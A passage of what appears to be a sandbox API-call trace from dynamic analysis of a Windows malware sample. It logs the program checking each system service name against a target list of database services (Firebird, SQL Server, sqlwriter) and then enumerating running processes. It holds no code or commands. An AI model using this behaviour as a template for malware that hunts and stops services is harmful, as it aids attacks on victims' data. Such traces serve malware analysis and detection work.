lpString2="BrokerInfrastructure") returned 1 [0057.326] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0057.326] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0057.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0057.326] lstrlenW (lpString="CDPSvc") returned 6 [0057.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0057.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0057.327] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0057.327] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0057.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0057.327] lstrlenW (lpString="ClickToRunSvc") returned 13 [0057.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0057.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0057.327] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0057.327] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0057.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0057.327] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0057.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0057.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0057.327] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0057.327] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0057.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0057.327] lstrlenW (lpString="CryptSvc") returned 8 [0057.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0057.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0057.327] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0057.327] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0057.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0057.327] lstrlenW (lpString="DcomLaunch") returned 10 [0057.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.327] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0057.327] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0057.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0057.327] lstrlenW (lpString="DeviceAssociationService") returned 24 [0057.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0057.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0057.327] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0057.327] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0057.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0057.327] lstrlenW (lpString="Dhcp") returned 4 [0057.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0057.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0057.328] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0057.328] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0057.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0057.328] lstrlenW (lpString="Dnscache") returned 8 [0057.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0057.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0057.328] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0057.328] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0057.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0057.328] lstrlenW (lpString="DoSvc") returned 5 [0057.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0057.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0057.328] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0057.328] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0057.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0057.328] lstrlenW (lpString="DPS") returned 3 [0057.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0057.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0057.328] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0057.328] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0057.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0057.328] lstrlenW (lpString="DusmSvc") returned 7 [0057.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0057.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0057.328] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0057.328] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0057.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0057.328] lstrlenW (lpString="EventLog") returned 8 [0057.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0057.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0057.328] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0057.328] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0057.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0057.328] lstrlenW (lpString="EventSystem") returned 11 [0057.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0057.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0057.329] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0057.329] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0057.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0057.329] lstrlenW (lpString="FontCache") returned 9 [0057.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0057.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0057.329] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0057.329] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0057.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0057.329] lstrlenW (lpString="gpsvc") returned 5 [0057.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0057.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0057.329] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0057.329] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0057.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0057.329] lstrlenW (lpString="iphlpsvc") returned 8 [0057.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.329] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0057.329] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0057.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0057.329] lstrlenW (lpString="KeyIso") returned 6 [0057.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0057.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0057.329] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0057.329] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0057.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0057.329] lstrlenW (lpString="LanmanServer") returned 12 [0057.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0057.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0057.329] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0057.329] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0057.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0057.329] lstrlenW (lpString="LanmanWorkstation") returned 17 [0057.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.330] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0057.330] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0057.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0057.330] lstrlenW (lpString="lfsvc") returned 5 [0057.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0057.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0057.330] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0057.330] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0057.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0057.330] lstrlenW (lpString="lmhosts") returned 7 [0057.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0057.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0057.330] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0057.330] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0057.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0057.330] lstrlenW (lpString="LSM") returned 3 [0057.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0057.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0057.330] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0057.330] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0057.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0057.330] lstrlenW (lpString="MpsSvc") returned 6 [0057.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0057.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0057.330] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0057.330] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0057.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0057.330] lstrlenW (lpString="NcbService") returned 10 [0057.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0057.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0057.330] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0057.330] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0057.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0057.330] lstrlenW (lpString="netprofm") returned 8 [0057.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0057.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0057.331] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0057.331] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0057.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0057.331] lstrlenW (lpString="NlaSvc") returned 6 [0057.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0057.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0057.331] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0057.331] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0057.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0057.331] lstrlenW (lpString="nsi") returned 3 [0057.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0057.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0057.331] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0057.331] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0057.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0057.331] lstrlenW (lpString="PcaSvc") returned 6 [0057.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0057.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0057.331] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0057.331] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0057.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0057.331] lstrlenW (lpString="PlugPlay") returned 8 [0057.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0057.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0057.331] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0057.331] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0057.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0057.331] lstrlenW (lpString="Power") returned 5 [0057.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0057.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0057.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0057.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0057.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0057.331] lstrlenW (lpString="ProfSvc") returned 7 [0057.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0057.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0057.332] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0057.332] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0057.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0057.332] lstrlenW (lpString="RpcEptMapper") returned 12 [0057.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.332] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0057.332] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0057.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0057.332] lstrlenW (lpString="RpcSs") returned 5 [0057.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0057.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0057.332] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0057.332] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0057.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0057.332] lstrlenW (lpString="SamSs") returned 5 [0057.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0057.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0057.332] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0057.332] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0057.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0057.332] lstrlenW (lpString="Schedule") returned 8 [0057.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0057.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0057.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0057.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0057.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0057.332] lstrlenW (lpString="SecurityHealthService") returned 21 [0057.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0057.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0057.332] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0057.332] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0057.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0057.332] lstrlenW (lpString="SENS") returned 4 [0057.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0057.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0057.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0057.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0057.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0057.333] lstrlenW (lpString="ShellHWDetection") returned 16 [0057.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.333] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0057.333] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0057.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0057.333] lstrlenW (lpString="Spooler") returned 7 [0057.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0057.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0057.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0057.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0057.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0057.333] lstrlenW (lpString="SSDPSRV") returned 7 [0057.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0057.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0057.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0057.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0057.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0057.333] lstrlenW (lpString="StateRepository") returned 15 [0057.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0057.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0057.333] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0057.333] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0057.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0057.333] lstrlenW (lpString="SysMain") returned 7 [0057.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0057.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0057.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0057.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0057.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0057.333] lstrlenW (lpString="SystemEventsBroker") returned 18 [0057.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0057.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0057.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0057.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0057.334] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f6108 | out: hHeap=0x690000) returned 1 [0057.334] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0057.384] Process32FirstW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.385] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.386] lstrlenW (lpString="System") returned 6 [0057.386] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.386] lstrlenW (lpString="smss.exe") returned 8 [0057.386] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.387] lstrlenW (lpString="csrss.exe") returned 9 [0057.387] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.388] lstrlenW (lpString="wininit.exe") returned 11 [0057.388] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.388] lstrlenW (lpString="csrss.exe") returned 9 [0057.388] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.389] lstrlenW (lpString="winlogon.exe") returned 12 [0057.389] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.390] lstrlenW (lpString="services.exe") returned 12 [0057.390] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.390] lstrlenW (lpString="lsass.exe") returned 9 [0057.391] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.391] lstrlenW (lpString="svchost.exe") returned 11 [0057.391] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0057.392] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0057.392] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0057.393] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0057.393] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.393] lstrlenW (lpString="svchost.exe") returned 11 [0057.393] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.394] lstrlenW (lpString="dwm.exe") returned 7 [0057.394] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.395] lstrlenW (lpString="svchost.exe") returned 11 [0057.395] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) 